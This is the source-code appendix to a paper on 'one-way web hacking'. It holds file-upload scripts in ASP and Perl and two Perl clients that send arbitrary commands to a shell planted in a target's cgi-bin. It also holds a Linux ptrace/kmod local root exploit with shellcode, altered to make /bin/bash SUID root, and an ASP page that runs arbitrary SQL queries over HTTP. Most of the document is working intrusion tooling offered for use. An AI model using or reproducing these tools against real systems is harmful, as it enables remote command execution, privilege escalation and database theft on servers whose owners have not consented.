![]() |
One-way Web Hacking - source code |
This document contains source code and examples not present in the main document.
<SCRIPT RUNAT=SERVER LANGUAGE=VBSCRIPT>
Function GetUpload()
Dim Result
Set Result = Nothing
If Request.ServerVariables("REQUEST_METHOD") = "POST" Then
Dim CT,PosB,Boundary,Length,PosE
CT=Request.ServerVariables("HTTP_Content_Type")
If LCase(Left(CT, 19)) = "multipart/form-data" Then
PosB = InStr(LCase(CT), "boundary=")
If PosB > 0 Then Boundary = Mid(CT, PosB + 9)
PosB = InStr(LCase(CT), "boundary=")
If PosB > 0 then
PosB = InStr(Boundary, ",")
If PosB > 0 Then Boundary = Left(Boundary, PosB - 1)
end if
Length = CLng(Request.ServerVariables("HTTP_Content_Length"))
If Length > 0 And Boundary <> "" Then
Boundary = "--" & Boundary
Dim Head,Binary
Binary = Request.BinaryRead(Length)
Set Result = SeparateFields(Binary, Boundary)
Binary = Empty
Else
Err.Raise 10, "GetUpload", "Zero length request ."
End If
Else
Err.Raise 11, "GetUpload", "No file sent."
End If
Else
Err.Raise 1, "GetUpload", "Bad request method."
End If
Set GetUpload = Result
End Function
Function SeparateFields(Binary, Boundary)
Dim POB,PCB,PEOH,iLB,Fields
Boundary=STB(Boundary)
POB=InStrB(Binary,Boundary)
PCB=InStrB(POB+LenB(Boundary),Binary,Boundary,0)
Set Fields=CreateObject("Scripting.Dictionary")
Do While (POB > 0 And PCB > 0 And Not iLB)
Dim HC,FC,bFC,C_D,FFN,SFN,C_T,Field,TCAEB
PEOH=InStrB(POB+Len(Boundary),Binary,STB(vbCrLf + vbCrLf))
HC=MidB(Binary,POB+LenB(Boundary)+2,PEOH-POB-LenB(Boundary)-2)
bFC=MidB(Binary,(PEOH+4),PCB-(PEOH+4)-2)
GetHeadFields BTS(HC),C_D,FFN,SFN,C_T
Set Field=CUF()
Set FC=CBD()
FC.ByteArray=bFC
FC.Length=LenB(bFC)
Field.Name=FFN
Field.ContentDisposition=C_D
Field.FilePath=SFN
Field.FileName=GFN(SFN)
Field.ContentType=C_T
Field.Length=FC.Length
Set Field.Value=FC
Fields.Add FFN,Field
TCAEB=BTS(MidB(Binary,PCB+LenB(Boundary), 2))
iLB=TCAEB="--"
If Not iLB Then
POB=PCB
PCB=InStrB(POB + LenB(Boundary), Binary, Boundary)
End If
Loop
Set SeparateFields = Fields
End Function
Function GetHeadFields(ByVal Head, C_D, Name, FileName, C_T)
C_D=LTrim(SeparateField(Head,"content-disposition:",";"))
Name=(SeparateField(Head, "name=", ";"))
If Left(Name, 1) = """" Then Name = Mid(Name, 2, Len(Name) - 2)
FileName = (SeparateField(Head, "filename=", ";"))
If Left(FileName, 1) = """" Then
FileName = Mid(FileName, 2, Len(FileName) - 2)
End If
C_T = LTrim(SeparateField(Head, "content-type:", ";"))
End Function
Function SeparateField(From, ByVal sStart, ByVal sEnd)
Dim PosB, PosE, sFrom
sFrom = LCase(From)
PosB = InStr(sFrom, sStart)
If PosB > 0 Then
PosB = PosB + Len(sStart)
PosE = InStr(PosB, sFrom, sEnd)
If PosE = 0 Then PosE = InStr(PosB, sFrom, vbCrLf)
If PosE = 0 Then PosE = Len(sFrom) + 1
SeparateField = Mid(From, PosB, PosE - PosB)
Else
SeparateField = Empty
End If
End Function
Function GFN(FullPath)
Dim Pos, PosF
PosF = 0
For Pos = Len(FullPath) To 1 Step -1
Select Case Mid(FullPath, Pos, 1)
Case "/", "\"
PosF = Pos + 1
Pos = 0
End Select
Next
If PosF = 0 Then PosF = 1
GFN = Mid(FullPath, PosF)
End Function
Function BTS(Binary)
Dim cl1, cl2, cl3, pl1, pl2, pl3, L
cl1=1
cl2=1
cl3=1
L = LenB(Binary)
Do While cl1<=L
pl3 = pl3 & Chr(AscB(MidB(Binary,cl1,1)))
cl1=cl1+1
cl3=cl3+1
if cl3>300 then
pl2 = pl2 & pl3
pl3 = ""
cl3 = 1
cl2 = cl2 + 1
if cl2>200 then
pl1 = pl1 & pl2
pl2 = ""
cl2 = 1
End If
End If
Loop
BTS = pl1 & pl2 & pl3
End Function
Function STB(String)
Dim I, B
For I=1 to len(String)
B = B & ChrB(Asc(Mid(String,I,1)))
Next
STB = B
End Function
Function vbsSaveAs(FileName, ByteArray)
Dim FS,TextStream
Set FS = CreateObject("Scripting.FileSystemObject")
Set TextStream = FS.CreateTextFile(FileName)
TextStream.Write BTS(ByteArray)
TextStream.Close
End Function
</SCRIPT>
<SCRIPT RUNAT=SERVER LANGUAGE=JSCRIPT>
function CUF() {
return new uf_Init()
}
function uf_Init() {
this.Name=null;
this.ContentDisposition=null;
this.FileName=null;
this.FilePath=null;
this.ContentType=null;
this.Value=null;
this.Length=null
}
function CBD() {
return new bin_Init()
}
function bin_Init() {
this.ByteArray=null
this.Length=null
this.String=jsBTS
this.SaveAs=jsSaveAs
}
function jsBTS() {
return BTS(this.ByteArray)
}
function jsSaveAs(FileName) {
return vbsSaveAs(FileName, this.ByteArray)
}
</SCRIPT>
$cgi_lib'writefiles = 1;
$cgi_lib'filepre = "cgi-lib";
$cgi_lib'bufsize = 8192;
$cgi_lib'maxbound = 100;
$cgi_lib'headerout = 0;
sub ReadParse {
local ($perlwarn);
$perlwarn = $^W;
$^W = 0;
local (*in) = shift if @_;
local (*incfn,
*inct,
*insfn) = @_;
local ($len, $type, $meth, $errflag, $cmdflag, $got, $name);
binmode(STDIN);
binmode(STDOUT);
binmode(STDERR);
$type = $ENV{'CONTENT_TYPE'};
$len = $ENV{'CONTENT_LENGTH'};
$meth = $ENV{'REQUEST_METHOD'};
if (!defined $meth || $meth eq '' || $meth eq 'GET' ||
$meth eq 'HEAD' ||
$type eq 'application/x-www-form-urlencoded') {
local ($key, $val, $i);
if (!defined $meth || $meth eq '') {
$in = $ENV{'QUERY_STRING'};
$cmdflag = 1;
} elsif($meth eq 'GET' || $meth eq 'HEAD') {
$in = $ENV{'QUERY_STRING'};
} elsif ($meth eq 'POST') {
if (($got = read(STDIN, $in, $len) != $len))
{$errflag="Short Read: wanted $len, got $got\n";};
} else {
&CgiDie("cgi-lib.pl: Unknown request method: $meth\n");
}
@in = split(/[&;]/,$in);
push(@in, @ARGV) if $cmdflag;
foreach $i (0 .. $#in) {
$in[$i] =~ s/\+/ /g;
($key, $val) = split(/=/,$in[$i],2);
$key =~ s/%([A-Fa-f0-9]{2})/pack("c",hex($1))/ge;
$val =~ s/%([A-Fa-f0-9]{2})/pack("c",hex($1))/ge;
$in{$key} .= "\0" if (defined($in{$key}));
$in{$key} .= $val;
}
} elsif ($ENV{'CONTENT_TYPE'} =~ m#^multipart/form-data#) {
$errflag = !(eval <<'END_MULTIPART');
local ($buf, $boundary, $head, @heads, $cd, $ct, $fname, $ctype, $blen);
local ($bpos, $lpos, $left, $amt, $fn, $ser);
local ($bufsize, $maxbound, $writefiles) =
($cgi_lib'bufsize, $cgi_lib'maxbound, $cgi_lib'writefiles);
$buf = '';
($boundary) = $type =~ /boundary="([^"]+)"/; #";
($boundary) = $type =~ /boundary=(\S+)/ unless $boundary;
&CgiDie ("Boundary not provided: probably a bug in your server")
unless $boundary;
$boundary = "--" . $boundary;
$blen = length ($boundary);
if ($ENV{'REQUEST_METHOD'} ne 'POST') {
&CgiDie("Invalid request method for multipart/form-data: $meth\n");
}
if ($writefiles) {
local($me);
stat ($writefiles);
$writefiles = "/tmp" unless -d _ && -w _;
$writefiles .= "/$cgi_lib'filepre";
}
$left = $len;
PART:
while (1) {
die $@ if $errflag;
$amt = ($left > $bufsize+$maxbound-length($buf)
? $bufsize+$maxbound-length($buf): $left);
$errflag = (($got = read(STDIN, $buf, $amt, length($buf))) != $amt);
die "Short Read: wanted $amt, got $got\n" if $errflag;
$left -= $amt;
$in{$name} .= "\0" if defined $in{$name};
$in{$name} .= $fn if $fn;
$name=~/([-\w]+)/;
if (defined $1) {
$insfn{$1} .= "\0" if defined $insfn{$1};
$insfn{$1} .= $fn if $fn;
}
BODY:
while (($bpos = index($buf, $boundary)) == -1) {
if ($left == 0 && $buf eq '') {
foreach $value (values %insfn) {
unlink(split("\0",$value));
}
&CgiDie("cgi-lib.pl: reached end of input while seeking boundary " .
"of multipart. Format of CGI input is wrong.\n");
}
die $@ if $errflag;
if ($name) {
if ($fn) { print FILE substr($buf, 0, $bufsize); }
else { $in{$name} .= substr($buf, 0, $bufsize); }
}
$buf = substr($buf, $bufsize);
$amt = ($left > $bufsize ? $bufsize : $left);
$errflag = (($got = read(STDIN, $buf, $amt, length($buf))) != $amt);
die "Short Read: wanted $amt, got $got\n" if $errflag;
$left -= $amt;
}
if (defined $name) {
if ($fn) { print FILE substr($buf, 0, $bpos-2); }
else { $in {$name} .= substr($buf, 0, $bpos-2); }
}
close (FILE);
last PART if substr($buf, $bpos + $blen, 2) eq "--";
substr($buf, 0, $bpos+$blen+2) = '';
$amt = ($left > $bufsize+$maxbound-length($buf)
? $bufsize+$maxbound-length($buf) : $left);
$errflag = (($got = read(STDIN, $buf, $amt, length($buf))) != $amt);
die "Short Read: wanted $amt, got $got\n" if $errflag;
$left -= $amt;
undef $head; undef $fn;
HEAD:
while (($lpos = index($buf, "\r\n\r\n")) == -1) {
if ($left == 0 && $buf eq '') {
foreach $value (values %insfn) {
unlink(split("\0",$value));
}
&CgiDie("cgi-lib: reached end of input while seeking end of " .
"headers. Format of CGI input is wrong.\n$buf");
}
die $@ if $errflag;
$head .= substr($buf, 0, $bufsize);
$buf = substr($buf, $bufsize);
$amt = ($left > $bufsize ? $bufsize : $left);
$errflag = (($got = read(STDIN, $buf, $amt, length($buf))) != $amt);
die "Short Read: wanted $amt, got $got\n" if $errflag;
$left -= $amt;
}
$head .= substr($buf, 0, $lpos+2);
push (@in, $head);
@heads = split("\r\n", $head);
($cd) = grep (/^\s*Content-Disposition:/i, @heads);
($ct) = grep (/^\s*Content-Type:/i, @heads);
($name) = $cd =~ /\bname="([^"]+)"/i; #";
($name) = $cd =~ /\bname=([^\s:;]+)/i unless defined $name;
($fname) = $cd =~ /\bfilename="([^"]*)"/i; #";
($fname) = $cd =~ /\bfilename=([^\s:;]+)/i unless defined $fname;
$incfn{$name} .= (defined $in{$name} ? "\0" : "") .
(defined $fname ? $fname : "");
($ctype) = $ct =~ /^\s*Content-type:\s*"([^"]+)"/i; #";
($ctype) = $ct =~ /^\s*Content-Type:\s*([^\s:;]+)/i unless defined $ctype;
$inct{$name} .= (defined $in{$name} ? "\0" : "") . $ctype;
if ($writefiles && defined $fname) {
$fn = $fname;
$fn =~ tr/\"//d;
$fn =~ tr/\\/\//;
@dummy = split(/\//, $fn);
$fn = $dummy[$#dummy];
open (FILE, ">$fn") || &CgiDie("Couldn't open $fn\n");
binmode (FILE);
}
substr($buf, 0, $lpos+4) = '';
undef $fname;
undef $ctype;
}
1;
END_MULTIPART
if ($errflag) {
local ($errmsg, $value);
$errmsg = $@ || $errflag;
foreach $value (values %insfn) {
unlink(split("\0",$value));
}
&CgiDie($errmsg);
} else {
}
} else {
&CgiDie("cgi-lib.pl: Unknown Content-type: $ENV{'CONTENT_TYPE'}\n");
}
$insfn = $insfn;
$incfn = $incfn;
$inct = $inct;
$^W = $perlwarn;
return ($errflag ? undef : scalar(@in));
}
sub PrintHeader {
return "Content-type: text/html\n\n";
}
sub HtmlTop
{
local ($title) = @_;
return <<END_OF_TEXT;
<html>
<head>
<title>$title</title>
</head>
<body>
<h1>$title</h1>
END_OF_TEXT
}
sub HtmlBot
{
return "</body>\n</html>\n";
}
sub SplitParam
{
local ($param) = @_;
local (@params) = split ("\0", $param);
return (wantarray ? @params : $params[0]);
}
sub MethGet {
return (defined $ENV{'REQUEST_METHOD'} && $ENV{'REQUEST_METHOD'} eq "GET");
}
sub MethPost {
return (defined $ENV{'REQUEST_METHOD'} && $ENV{'REQUEST_METHOD'} eq "POST");
}
sub MyBaseUrl {
local ($ret, $perlwarn);
$perlwarn = $^W; $^W = 0;
$ret = 'http://' . $ENV{'SERVER_NAME'} .
($ENV{'SERVER_PORT'} != 80 ? ":$ENV{'SERVER_PORT'}" : '') .
$ENV{'SCRIPT_NAME'};
$^W = $perlwarn;
return $ret;
}
sub MyFullUrl {
local ($ret, $perlwarn);
$perlwarn = $^W; $^W = 0;
$ret = 'http://' . $ENV{'SERVER_NAME'} .
($ENV{'SERVER_PORT'} != 80 ? ":$ENV{'SERVER_PORT'}" : '') .
$ENV{'SCRIPT_NAME'} . $ENV{'PATH_INFO'} .
(length ($ENV{'QUERY_STRING'}) ? "?$ENV{'QUERY_STRING'}" : '');
$^W = $perlwarn;
return $ret;
}
sub MyURL {
return &MyBaseUrl;
}
sub CgiError {
local (@msg) = @_;
local ($i,$name);
if (!@msg) {
$name = &MyFullUrl;
@msg = ("Error: script $name encountered fatal error\n");
};
if (!$cgi_lib'headerout) { #')
print &PrintHeader;
print "<html>\n<head>\n<title>$msg[0]</title>\n</head>\n<body>\n";
}
print "<h1>$msg[0]</h1>\n";
foreach $i (1 .. $#msg) {
print "<p>$msg[$i]</p>\n";
}
$cgi_lib'headerout++;
}
sub CgiDie {
local (@msg) = @_;
&CgiError (@msg);
die @msg;
}
sub PrintVariables {
local (*in) = @_ if @_ == 1;
local (%in) = @_ if @_ > 1;
local ($out, $key, $output);
$output = "\n<dl compact>\n";
foreach $key (sort keys(%in)) {
foreach (split("\0", $in{$key})) {
($out = $_) =~ s/\n/<br>\n/g;
$output .= "<dt><b>$key</b>\n <dd>:<i>$out</i>:<br>\n";
}
}
$output .= "</dl>\n";
return $output;
}
sub PrintEnv {
&PrintVariables(*ENV);
}
$cgi_lib'writefiles = $cgi_lib'writefiles;
$cgi_lib'bufsize = $cgi_lib'bufsize ;
$cgi_lib'maxbound = $cgi_lib'maxbound;
$cgi_lib'filepre = $cgi_lib'filepre;
1;
#!/usr/bin/perl
#
# post_cmd.pl
# By Saumil Shah (c) net-square, 2001
#
# Able to send arbitrary commands to http://TARGET/cgi-bin/CMD.EXE
# and have them executed on the server. This is possible only if
# CMD.EXE is placed in %wwwroot%\cgi-bin. (perhaps after running
# some .. ah.. exploit)
#
# Note: If %wwwroot%\cgi-bin is not available, use the /scripts/
# directory in which case, the URL becomes
# http://TARGET/scripts/CMD.EXE
#
# POST can send text to a back-end web program's standard input
# This program is used to feed commands to CMD.EXE on a remote
# webserver via standard input, and get the output on standard
# output, back to us, via HTTP.
#
# Note: We cannot use this with a form, because forms always
# send variable=value pairs back to the back-end web program. We
# want to send commands here
#
# Things to be careful about (and which is why this program helps)
#
# a) Since we cannot send command line arguments to CMD.EXE (such
# as CMD /C), we have to make sure that the last command we
# send is an "exit", otherwise, the command shell will not die
# on the remote server.
#
# b) Since we are sending commands via POST, we have to calculate
# the number of characters sent, and use that as a Content-length
# value.
use IO::Socket;
use IO::Handle;
if(defined($ARGV[0])) {
$server = $ARGV[0];
}
else {
print "usage: post_cmd.pl url [proxy:port] < data\n";
print "By Saumil Shah (c) net-square 2001\n\n";
print "post_cmd.pl takes all the data to be POSTed to the URL as\n";
print "standard input. Either enter the data manually and hit ^D (unix)\n";
print "or ^Z (dos) to end; or redirect the data using files or pipes\n\n";
exit(0);
}
if($server =~ /\//o) {
$server =~ s/http:\/\///o;
$server =~ /(.*?)\/(.*)/o;
$file = '/'. $2;
$server = $1;
}
else {
$file = '/';
if(defined($ARGV[1])) {
$file = $ARGV[1];
}
}
# capture proxy server
$proxy_flag = 0;
if(defined($ARGV[1])) {
($proxy_ip, $proxy_port) = split(/:/, $ARGV[1]);
$proxy_flag = 1;
}
# take the commands that we need to send at this stage
# Note: if we do not start off the set of commands to be POSTed with
# a blank like, any occurence of a ":" in the first line causes the POST
# request to fail. This may be an IIS issue or an HTTP issue.
@commands = ("\n");
$content_length = 0;
while($line = <STDIN>) {
@commands = (@commands, qq{$line});
$content_length += length($line);
}
# comment out the block below if you are meticulous
# about putting your own "exit" at the end, or if you want
# to use this as a generic POST client
$line = "exit\n";
@commands = (@commands, $line);
$content_length += length($line);
# end of block
$| = 1;
($target, $port) = split(/:/, $server);
if($port == 0) {
$port = 80;
}
$server = $target;
httpconnect($server, $port);
post($file, $server, $port, $content_length, @commands);
## uncomment the while loop below
## to suppress the HTTP headers in the response
#while(<S>) { # header
# last if($_ eq "\r\n");
#}
while(<S>) { # body
print $_;
}
close(S);
exit;
sub httpconnect {
my ($server, $port) = @_;
# check for proxy settings
if($proxy_flag) {
$server = $proxy_ip;
$port = $proxy_port;
}
chop($hostname = `hostname`);
$proto = getprotobyname('tcp');
$thisaddr = gethostbyname($hostname);
$thataddr = gethostbyname($server);
$sin = sockaddr_in($port, $thataddr);
socket(S, PF_INET, SOCK_STREAM, $proto) || die "socket: $!";
connect(S, $sin) or die "connect: $!";
select(S);
$| = 1;
select(STDOUT);
}
sub post {
my ($file, $hostname, $port, $content_length, @commands) = @_;
my $i;
# check for proxy settings
if($proxy_flag) {
$file = "http://" . $hostname . ":" . $port . $file;
}
S->autoflush(1);
print S 'POST '. $file. " HTTP/1.0\r\n";
print S 'Host: '. $hostname. "\n";
print S "Content-length: $content_length\n";
foreach $i (@commands) {
print S $i;
}
print S "\r\n";
}
#!/usr/bin/perl
#
# post_sh.pl
# By Saumil Shah (c) net-square, 2001
#
# Able to send arbitrary commands to http://TARGET/cgi-bin/sh
# and have them executed on the server. This is possible only if
# sh is placed in cgi-bin. (perhaps after running some .. ah.. exploit)
#
# POST can send text to a back-end web program's standard input
# This program is used to feed commands to sh on a remote
# webserver via standard input, and get the output on standard
# output, back to us, via HTTP.
#
# Note: We cannot use this with a form, because forms always
# send variable=value pairs back to the back-end web program. We
# want to send commands here
#
# Things to be careful about (and which is why this program helps)
#
# a) We have to make sure that the last command we send is an "exit"
# otherwise, the command shell will not die
# on the remote server.
#
# b) Since we are sending commands via POST, we have to calculate
# the number of characters sent, and use that as a Content-length
# value.
use IO::Socket;
use IO::Handle;
if(defined($ARGV[0])) {
$server = $ARGV[0];
}
else {
print "usage: post_sh.pl url < data\n";
print "By Saumil Shah (C) net-square, 2001\n\n";
print "post_sh.pl takes all the data to be POSTed to the URL as\n";
print "standard input. Either enter the data manually and hit ^D (unix)\n";
print "or ^Z (dos) to end; or redirect the data using files or pipes\n\n";
exit(0);
}
if($server =~ /\//o) {
$server =~ s/http:\/\///o;
$server =~ /(.*?)\/(.*)/o;
$file = '/'. $2;
$server = $1;
}
else {
$file = '/';
if(defined($ARGV[1])) {
$file = $ARGV[1];
}
}
# take the commands that we need to send at this stage
# Note: if we do not start off the set of commands to be POSTed with
# a blank like, any occurence of a ":" in the first line causes the POST
# request to fail. Also, Apache requires that a proper HTTP header be
# returned, otherwise it throws a Server Internal error. The commands
# POSTed, will still run anyway, but we will not see any output from
# standard output
@commands = ("\n", "\necho 'Content-type: text/html'\n", "echo\n");
$content_length = length($commands[1]) + length($commands[2]);
while($line = <STDIN>) {
@commands = (@commands, qq{$line});
$content_length += length($line);
}
# comment out the block below if you are meticulous
# about putting your own "exit" at the end, or if you want
# to use this as a generic POST client
$line = "exit\n";
@commands = (@commands, $line);
$content_length += length($line);
# end of block
$| = 1;
($target, $port) = split(/:/, $server);
if($port == 0) {
$port = 80;
}
$server = $target;
httpconnect($server, $port);
post($file, $server, $content_length, @commands);
## uncomment the while loop below
## to suppress the HTTP headers in the response
#while(<S>) { # header
# last if($_ eq "\r\n");
#}
while(<S>) { # body
print $_;
}
close(S);
exit;
sub httpconnect {
my ($server, $port) = @_;
chop($hostname = `hostname`);
$proto = getprotobyname('tcp');
$thisaddr = gethostbyname($hostname);
$thataddr = gethostbyname($server);
$sin = sockaddr_in($port, $thataddr);
socket(S, PF_INET, SOCK_STREAM, $proto) || die "socket: $!";
connect(S, $sin) or die "connect: $!";
select(S);
$| = 1;
select(STDOUT);
}
sub post {
my ($file, $hostname, $content_length, @commands) = @_;
my $i;
S->autoflush(1);
print S 'POST '. $file. " HTTP/1.0\r\n";
print S 'Host: '. $hostname. "\n";
print S "Content-type: text/html\n";
print S "Content-length: $content_length\n";
foreach $i (@commands) {
print S $i;
}
print S "\r\n";
}
/*
* Linux kernel ptrace/kmod local root exploit
*
* Should work under all current 2.2.x and 2.4.x kernels.
*
* I discovered this stupid bug independently on January 25, 2003, that
* is (almost) two month before it was fixed and published by Red Hat
* and others.
*
* Wojciech Purczynski <cliph@isec.pl>
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
*
* (c) 2003 Copyright by iSEC Security Research
*
* exploit modified for one-way use by Saumil Shah
*/
#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <linux/user.h>
char cliphcode[] =
"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
"\x00\x5b\x31\xc9\x89\xca\xcd\x80"
"\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
"\x00\x00\xcd\x80\x89\xd0\x89\xd3"
"\x40\xcd\x80\xe8\xdc\xff\xff\xff";
#define CODE_SIZE (sizeof(cliphcode) - 1)
pid_t parent = 1;
pid_t child = 1;
pid_t victim = 1;
volatile int gotchild = 0;
void fatal(char * msg)
{
perror(msg);
kill(parent, SIGKILL);
kill(child, SIGKILL);
kill(victim, SIGKILL);
}
void putcode(unsigned long * dst)
{
char buf[MAXPATHLEN + CODE_SIZE];
unsigned long * src;
int i, len;
memcpy(buf, cliphcode, CODE_SIZE);
len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
if (len == -1)
fatal("[-] Unable to read /proc/self/exe");
len += CODE_SIZE + 1;
buf[len] = '\0';
src = (unsigned long*) buf;
for (i = 0; i < len; i += 4)
if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
fatal("[-] Unable to write shellcode");
}
void sigchld(int signo)
{
struct user_regs_struct regs;
if (gotchild++ == 0)
return;
fprintf(stderr, "[+] Signal caught\n");
if (ptrace(PTRACE_GETREGS, victim, NULL, ®s) == -1)
fatal("[-] Unable to read registers");
fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
putcode((unsigned long *)regs.eip);
fprintf(stderr, "[+] Now wait for suid shell...\n");
if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
fatal("[-] Unable to detach from victim");
exit(0);
}
void sigalrm(int signo)
{
errno = ECANCELED;
fatal("[-] Fatal error");
}
void do_child(void)
{
int err;
child = getpid();
victim = child + 1;
signal(SIGCHLD, sigchld);
do
err = ptrace(PTRACE_ATTACH, victim, 0, 0);
while (err == -1 && errno == ESRCH);
if (err == -1)
fatal("[-] Unable to attach");
fprintf(stderr, "[+] Attached to %d\n", victim);
while (!gotchild) ;
if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
fatal("[-] Unable to setup syscall trace");
fprintf(stderr, "[+] Waiting for signal\n");
for(;;);
}
void do_parent(char * progname)
{
struct stat st;
int err;
errno = 0;
socket(AF_SECURITY, SOCK_STREAM, 1);
do {
err = stat(progname, &st);
} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
if (err == -1)
fatal("[-] Unable to stat myself");
alarm(0);
system(progname);
}
void prepare(void)
{
if (geteuid() == 0) {
initgroups("root", 0);
setgid(0);
setuid(0);
// execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
// line below is a modification to adapt the exploit
// for one-way hacking
execl("/bin/chmod", "/bin/chmod", "4755", "/bin/bash", NULL);
fatal("[-] Unable to spawn shell");
}
}
int main(int argc, char ** argv)
{
prepare();
signal(SIGALRM, sigalrm);
alarm(10);
parent = getpid();
child = fork();
victim = child + 1;
if (child == -1)
fatal("[-] Unable to fork");
if (child == 0)
do_child();
else
do_parent(argv[0]);
return 0;
}
<%@ Language=VBScript %>
<!--
SQL Queries via ASP
Developed by Ketan Vyas, Net-Square
v1.1 Sept 15, 2003.
Added connection provider support for MySQL ODBC and Foxpro
v1.0 June 16, 2001.
Added connection provider support for Oracle servers
v0.9 June 11, 2001.
This page allows for remote SQL queries to be performed via a
web page. Currently, it requires connection information for the
database.
Present version works only for MS-SQL server. Other providers shall
be included later.
-->
<html>
<head>
<title>SQL Query over HTTP</title>
<style type="text/css">
PRE
{
font-family: Monaco, Courier-new, Lucida, Courier;
font-size: 10pt;
color: black;
}
</style>
</head>
<body>
<h1><u><font face="Arial" size="5" color="#000080">
SQL Query over HTTP</font></u></h1>
<%
IF request.form ("Message")="true" THEN
strServerName=request.form("ServerName")
strDatabaseName=request.form("DatabaseName")
strUserName=request.form("UserName")
strPassword=request.form("Password")
strQuery=request.form("Query")
strDbsource=request.form("Dbsource")
strOther=request.form("other")
strCon=request.form("Constr")
strDSN=request.form("DSN")
Response.write("<table align= 'left' border='0'>")
Response.write("<tr>")
Response.write("<td>")
Response.write("<form action='#' method='POST'>")
Response.write("<table align= 'left' border='0'>")
Response.write("<tr>")
Response.write("<td valign='top' align='right'><b><font face='Arial' size='2'>
Server Name:</font></b></td>")
Response.write("<td><font face='Courier New'><input type='Text' name='ServerName'
size='30' value="+ strServerName +"></font></td>")
Response.write("<td align='right'><b><font face='Arial' size='2'>
User Name:</font></b></td>")
Response.write("<td><font face='Courier New'><input name='UserName' size='14'
value="+ strUserName +"></font></td>")
Response.write("</tr>")
Response.write("<tr>")
Response.write("<td valign='top' align='right'><b><font face='Arial' size='2'>
Database Name:</font></b></td>")
Response.write("<td><font face='Courier New'><input name='DatabaseName' size='30'
value="+ strDatabaseName +"></font></td>")
Response.write("<td align='right'><b><font face='Arial' size='2'>
Password:</font></b></td>")
Response.write("<td><font face='Courier New'><input name='Password' size='14'
value="+ strPassword +"></font></td>")
Response.write("</tr>")
Response.write("<tr>")
Response.write("<td valign='top' align='right'><b><font face='Arial' size='2'>
Connection String:</font></b></td>")
Response.write("<td><input type='text' name='ConStr' size='30' value='"+
strCon +"'></td>")
Response.write("</tr>")
Response.write("<tr>")
Response.write("<td valign='top' align='right'><b><font face='Arial' size='2'>
Driver:</font></b></td>")
Response.write("<td><select size='1' name='Dbsource'>")
IF(strDbsource = "SQL Server") THEN
Response.write("<option selected>" + strDbsource + "</option>")
Response.write("<option>Oracle ODBC Driver</option>")
Response.write("<option>Microsoft Access Driver (*.mdb)</option>")
Response.write("<option>MySQL ODBC 3.51 Driver</option>")
END IF
IF (strDbsource = "Oracle ODBC Driver") THEN
Response.write("<option selected>" + strDbsource + "</option>")
Response.write("<option>SQL Server</option>")
Response.write("<option>Microsoft Access Driver (*.mdb)</option>")
Response.write("<option>MySQL ODBC 3.51 Driver</option>")
END IF
IF (strDbsource = "Microsoft Access Driver (*.mdb)") THEN
Response.write("<option selected>" + strDbsource + "</option>")
Response.write("<option>SQL Server</option>")
Response.write("<option>Oracle ODBC Driver</option>")
Response.write("<option>MySQL ODBC 3.51 Driver</option>")
END IF
IF (strDbsource = "MySQL ODBC 3.51 Driver") THEN
Response.write("<option selected>" + strDbsource + "</option>")
Response.write("<option>SQL Server</option>")
Response.write("<option>Oracle ODBC Driver</option>")
Response.write("<option>Microsoft Access Driver (*.mdb)</option>")
END IF
Response.write("</select>")
Response.write("</td>")
Response.write("</tr>")
Response.write("<tr>")
Response.write("<td valign='top' align='right'><b><font face='Arial' size='2'>
Query String:</font></b></td>")
Response.write("<td colspan='3'><font face='Courier New'><textarea rows='4'
name='Query' cols='69'>"+ strQuery +"</textarea></font></td>")
Response.write("</tr>")
Response.write("<tr>")
Response.write("<td><input type='HIDDEN' name='Message' value='true'></td>")
Response.write("</tr>")
Response.write("<tr>")
Response.write("<td>")
Response.write("<td colspan='3'> <input type='submit' value='Execute Query'></td>")
Response.write("</tr>")
Response.write("</table>")
Response.write("</form>")
Response.write("</td>")
Response.write("</tr>")
Response.write("<tr>")
Response.write("<td>")
Response.write("<BR>")
Response.write("<HR>")
Response.write("<p>")
Response.write("</p>")
set objCon = server.createobject("ADODB.Connection")
IF(strDSN = "") THEN
IF(strCon = "") THEN
IF(strDbsource = "Microsoft Access Driver (*.mdb)") THEN
objCon.ConnectionString= "Driver=" + strDbsource + ";server=" + strServerName +
";uid=" + strUserName + ";pwd=" + strPassword + ";DBQ=" + strDatabaseName
ELSE
objCon.ConnectionString= "Driver=" + strDbsource + ";server=" + strServerName +
";uid=" + strUserName + ";pwd=" + strPassword + ";database=" + strDatabaseName
END IF
ELSE
objCon.ConnectionString= strCon
END IF
ELSE
IF(strCon = "") THEN
objCon.ConnectionString= "Driver=" + strDbsource + ";DSN=" + strDSN + ";uid=" +
strUserName + ";pwd=" + strPassword
ELSE
objCon.ConnectionString= "DSN=" + strDSN + ";" + strCon
END IF
END IF
objCon.Open
Response.write("Database Connection Opened")
Response.write("<p>")
Set RS = objCon.Execute(strQuery)
Select Case RS.eof
Case False
RSArray = RS.getrows
Number_Of_Fields = Cdbl(UBound(RSArray, 1))
Number_Of_Records = Cdbl(UBound(RSArray, 2))
Response.Write "<table border=1 bordercolorlight='#000000' cellspacing='0'
cellpadding='0' bordercolordark='#C0C0C0'>"
Response.Write "<tr>"
For A = 0 to Number_Of_Fields
Response.Write "<td valign='middle' height='30' bgcolor='#000080'>"
Response.Write "<font color='#FFFFFF' face='Arial' size='3'><b>"
Response.Write RS.Fields(A).Name
Response.Write "</b></font>"
Response.Write "</td> "
Next
Response.Write "</tr>"
For R = 0 to Number_Of_Records
Response.Write "<tr>"
For F = 0 to Number_Of_Fields
Response.Write "<td><pre>"
Response.Write RSArray(F, R)
Response.Write "</pre></td> "
Next
Response.Write "</tr>"
Next
Response.Write "</table>"
Case True
Response.Write "No Records were found"
End Select
Response.write("</td>")
